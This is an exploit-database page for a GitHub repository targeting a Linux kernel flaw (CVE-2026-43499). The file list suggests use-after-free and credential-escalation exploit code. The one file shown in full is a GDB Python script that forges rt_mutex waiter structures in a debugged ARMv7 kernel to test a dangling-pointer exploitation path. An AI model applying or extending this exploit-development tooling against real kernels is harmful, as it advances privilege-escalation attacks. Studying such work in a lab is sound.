Exploit databaseDownload repository ZIP
GH-14fb583d3d1bd2da10251bb1a37b93d6
gitchw/ghostlock-cve-2026-43499
Sources for CVE-2026-43499
166 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files148
gitchw/ghostlock-cve-2026-43499Revision 96acd93156f6
- ↑..Parent directory
- add_tryok_read.py
- build30.sh
- calib_offsets.py
- calib_vendor.py
- check.sh
- check_canary.gdb
- check_modprobe.py
- chk_env.sh
- cleanup.sh
- coupling.py
- cred_eval.py
- cve2602_chain
- cve2602_chain.c
- cve2602_debug
- cve2602_debug.c
- cve2602_full
- cve2602_full.c
- cve2602_inode_nosq.c
- cve2602_raw
- cve2602_raw.c
- cve2602_uaf
- cve2602_uaf.c
- cve2602_v2
- cve2602_v2.c
- data_path.py
- disasm.sh
- enum3.py
- enum_scan.py
- fakelock.py
- fakelock2.py
- find_d.sh
- fix_mode_c.py
- fix_mode_c2.py
- fix_threshold.py
- geo_deep.py
- geo_probe.py
- geo_probe_gcc.py
- geo_syscall.py
- go30
- go30.c
- go30_exit
- go30_exit.c
- go30_l1
- go30_l1.c
- go30_sel
- go30_sel.c
- go30_sync
- go30_sync.c
- go30_wv
- go30_wv.c
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
workspace/qemu/glA/go32_gdb4.py
Python · 4,335 bytesimport gdb
gdb.execute("file /root/kern/vmlinux.clang")
gdb.execute("target remote :5652")
# Geometry+timing isolation, v2: stamp the natural dangling D=sw at the LAST
# instant on the CONSUMER cpu -- every time consumer enters rt_mutex_adjust_pi(W)
# (r0=W), rewrite D right before that same cpu walks it (no interrupt-reuse
# window). Also tests whether the owner=0 chain can deref go32's USERSPACE
# mmap L/R pages (armv7 no PAN). go32 reads R[0] back itself.
LOG=open('/tmp/gdb_go32.log','w')
def log(s):
LOG.write(s+'\n'); LOG.flush()
DO_ADJTIMEX=0xc03df7d0
ADJ_PI=0xc03a81f8
ADJ_CHAIN=0xc03a82e4
START_PROXY=0xc03a9368
BUG_CHECK=0xc03a8488
TRYOK=0xc03a8454
PBO=0x4a0
st={'W':0,'sw':0,'lock':0,'L':0,'R':0,'stamps':0,'pi':0,'chain':0}
def rd32(a):
return int(gdb.parse_and_eval('*(unsigned int*)0x%x'%(a&0xffffffff)))&0xffffffff
def wr32(a,v):
gdb.execute('set *(unsigned int*)0x%x = 0x%x'%((a&0xffffffff),(v&0xffffffff)))
def cur_task():
sp=int(gdb.parse_and_eval('$sp'))&0xffffffff
return rd32((sp&~0x1fff)+12)
def comm(t):
try: return gdb.parse_and_eval('(char*)(((struct task_struct*)0x%x)->comm)'%t).string()
except Exception: return '?'
def words(p,n):
try: return ' '.join('%08x'%rd32(p+4*i) for i in range(n))
except Exception as e: return 'rd-err %r'%e
def stamp_D():
D=st['sw']; W=st['W']; L=st['L']; R=st['R']
wr32(D+0x00,1); wr32(D+0x04,0)
wr32(D+0x08,R); wr32(D+0x0c,1)
wr32(D+0x10,0); wr32(D+0x14,0)
wr32(D+0x18,W); wr32(D+0x1c,L)
wr32(D+0x20,140); wr32(D+0x24,0); wr32(D+0x28,0); wr32(D+0x2c,0)
wr32(W+0x494,D+0xc); wr32(W+0x498,D+0xc); wr32(W+PBO,D)
st['stamps']+=1
class StartBP(gdb.Breakpoint):
def __init__(self): gdb.Breakpoint.__init__(self,'*0x%x'%START_PROXY,gdb.BP_BREAKPOINT)
def stop(self):
cur=cur_task()
if comm(cur)!='go32' or st['W']: return False
st['lock']=int(gdb.parse_and_eval('$r0'))&0xffffffff
st['sw'] =int(gdb.parse_and_eval('$r1'))&0xffffffff
st['W'] =int(gdb.parse_and_eval('$r2'))&0xffffffff
log('START_PROXY lock=%08x sw(D)=%08x W=%08x'%(st['lock'],st['sw'],st['W']))
ATX.enabled=True
return False
class AtxBP(gdb.Breakpoint):
def __init__(self): gdb.Breakpoint.__init__(self,'*0x%x'%DO_ADJTIMEX,gdb.BP_BREAKPOINT)
def stop(self):
t=cur_task()
if comm(t)!='go32' or t!=st['W'] or st['L']: return False
txc=int(gdb.parse_and_eval('$r0'))&0xffffffff
st['R']=rd32(txc+16)
st['L']=rd32(txc+24)
log('do_adjtimex -> R=%08x L=%08x D=%08x'%(st['R'],st['L'],st['sw']))
API.enabled=True; CHAIN.enabled=True; BUG.enabled=True; TOK.enabled=True
return False
class ApiBP(gdb.Breakpoint):
def __init__(self): gdb.Breakpoint.__init__(self,'*0x%x'%ADJ_PI,gdb.BP_BREAKPOINT)
def stop(self):
if (int(gdb.parse_and_eval('$r0'))&0xffffffff)!=st['W'] or not st['L']: return False
st['pi']+=1
stamp_D() # restamp fresh D on the consumer cpu immediately before walk
if st['pi']<=3:
log('adjust_pi(W)#%d restamped D: %s'%(st['pi'],words(st['sw'],12)))
return False
class ChainBP(gdb.Breakpoint):
def __init__(self): gdb.Breakpoint.__init__(self,'*0x%x'%ADJ_CHAIN,gdb.BP_BREAKPOINT)
def stop(self):
if (int(gdb.parse_and_eval('$r0'))&0xffffffff)!=st['W']: return False
st['chain']+=1
if st['chain']<=6: log('adjust_prio_chain(W)#%d (stamps=%d)'%(st['chain'],st['stamps']))
return False
class BugBP(gdb.Breakpoint):
def __init__(self): gdb.Breakpoint.__init__(self,'*0x%x'%BUG_CHECK,gdb.BP_BREAKPOINT)
def stop(self):
r0=int(gdb.parse_and_eval('$r0'))&0xffffffff; r11=int(gdb.parse_and_eval('$r11'))&0xffffffff
log('BUG_CHECK leftmost->lock=%08x r11=%08x %s'%(r0,r11,'MISMATCH' if r0!=r11 else 'match'))
return False
class TokBP(gdb.Breakpoint):
def __init__(self): gdb.Breakpoint.__init__(self,'*0x%x'%TRYOK,gdb.BP_BREAKPOINT)
def stop(self):
log('TRYOK L=%08x'%(int(gdb.parse_and_eval('$r11'))&0xffffffff)); return False
SP=StartBP(); ATX=AtxBP(); API=ApiBP(); CHAIN=ChainBP(); BUG=BugBP(); TOK=TokBP()
for b in (ATX,API,CHAIN,BUG,TOK): b.enabled=False
log('go32_gdb4 armed (restamp D at consumer adjust_pi entry)')
gdb.execute('continue')